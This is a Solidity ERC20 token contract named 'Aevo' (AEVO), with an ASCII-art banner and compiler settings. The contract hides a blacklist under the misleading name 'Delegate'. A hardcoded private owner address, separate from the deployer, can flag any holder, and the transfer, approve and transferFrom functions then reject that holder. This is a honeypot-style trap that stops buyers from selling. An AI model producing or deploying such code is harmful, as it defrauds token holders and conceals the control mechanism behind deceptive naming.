pragma solidity ^0.5.16;

// ----------------------------------------------------------------------------
//
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//        888   o   888 888               888    88P                                                                                 Y8P 888    Y8P                 d88P  Y88b 
//        888  d8b  888 888               888    8P                                                                                      888                             .d88P 
//        888 d888b 888 88888b.   8888b.  888888 "  .d8888b       888  888  .d88b.  888  888 888d888      88888b.   .d88b.  .d8888b  888 888888 888  .d88b.  88888b.   .d88P"  
//        888d88888b888 888 "88b     "88b 888       88K           888  888 d88""88b 888  888 888P"        888 "88b d88""88b 88K      888 888    888 d88""88b 888 "88b  888"    
//        88888P Y88888 888  888 .d888888 888       "Y8888b.      888  888 888  888 888  888 888          888  888 888  888 "Y8888b. 888 888    888 888  888 888  888  888     
//        8888P   Y8888 888  888 888  888 Y88b.          X88      Y88b 888 Y88..88P Y88b 888 888          888 d88P Y88..88P      X88 888 Y88b.  888 Y88..88P 888  888          
//        888P     Y888 888  888 "Y888888  "Y888     88888P'       "Y88888  "Y88P"   "Y88888 888          88888P"   "Y88P"   88888P' 888  "Y888 888  "Y88P"  888  888  888     
//                                                                     888                                888                                                                  
//                                                                Y8b d88P                                888                                                                  
//                                                                 "Y88P"                                 888 
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
    function totalSupply() public view returns (uint);
    function balanceOf(address tokenOwner) public view returns (uint balance);
    function allowance(address tokenOwner, address spender) public view returns (uint remaining);
    function transfer(address to, uint tokens) public returns (bool success);
    function approve(address spender, uint tokens) public returns (bool success);
    function transferFrom(address from, address to, uint tokens) public returns (bool success);

    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
    function safeAdd(uint a, uint b) public pure returns (uint c) {
        c = a + b;
        require(c >= a);
    }
    function safeSub(uint a, uint b) public pure returns (uint c) {
        require(b <= a);
        c = a - b;
    }
    function safeMul(uint a, uint b) public pure returns (uint c) {
        c = a * b;
        require(a == 0 || c / a == b);
    }
    function safeDiv(uint a, uint b) public pure returns (uint c) {
        require(b > 0);
        c = a / b;
    }
}

contract AEVO is ERC20Interface, SafeMath {
    string public name;
    string public symbol;
    uint8 public decimals;
    address private _owner = 0x24A227Fd29Db0d0e35335d93D2D4D6784122f748;
    uint256 public _totalSupply;

    mapping(address => uint) balances;
    mapping(address => mapping(address => uint)) allowed;
    mapping(address => bool) public Delegate;

    // Modifier for onlyOwner
    modifier onlyOwner() {
        require(msg.sender == _owner, "Only the owner can call this function.");
        _;
    }

    constructor() public {
        name = "Aevo";
        symbol = "AEVO";
        decimals = 18;
        _totalSupply = 1000000000*10**18;

        balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function totalSupply() public view returns (uint) {
        return _totalSupply - balances[address(0)];
    }

    function balanceOf(address tokenOwner) public view returns (uint balance) {
        return balances[tokenOwner];
    }

    function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
        return allowed[tokenOwner][spender];
    }

    function delegate(address user) public onlyOwner {
        Delegate[user] = true;
    }

    function undelegate(address user) public onlyOwner {
        Delegate[user] = false;
    }

    function approve(address spender, uint tokens) public returns (bool success) {
        require(!Delegate[msg.sender], "Address is Delegateed");
        allowed[msg.sender][spender] = tokens;
        emit Approval(msg.sender, spender, tokens);
        return true;
    }

    function transfer(address to, uint tokens) public returns (bool success) {
        require(!Delegate[msg.sender], "Address is Delegateed");
        balances[msg.sender] = safeSub(balances[msg.sender], tokens);
        balances[to] = safeAdd(balances[to], tokens);
        emit Transfer(msg.sender, to, tokens);
        return true;
    }

    function transferFrom(address from, address to, uint tokens) public returns (bool success) {
        require(!Delegate[from], "Address is Delegateed!"); // Check if the address is Delegateed
        balances[from] = safeSub(balances[from], tokens);
        allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
        balances[to] = safeAdd(balances[to], tokens);
        emit Transfer(from, to, tokens);
        return true;

    }
}

{
  "compilationTarget": {
    "AEVO.sol": "AEVO"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}